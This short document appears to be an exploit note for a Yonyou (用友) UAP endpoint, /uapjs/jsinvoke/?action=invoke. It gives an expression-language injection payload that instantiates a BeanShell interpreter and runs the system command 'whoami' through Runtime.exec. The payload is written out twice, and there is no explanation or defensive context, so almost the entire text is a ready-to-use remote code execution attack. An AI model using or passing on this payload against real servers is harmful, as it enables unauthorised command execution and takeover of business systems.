用友/uapjs/jsinvoke/?action=invoke
${param.getClass().forName(param.bsh).newInstance().eval(param.cmd)}
bsh=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())
${param.getClass().forName(param.bsh).newInstance().eval(param.cmd)}
bsh=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())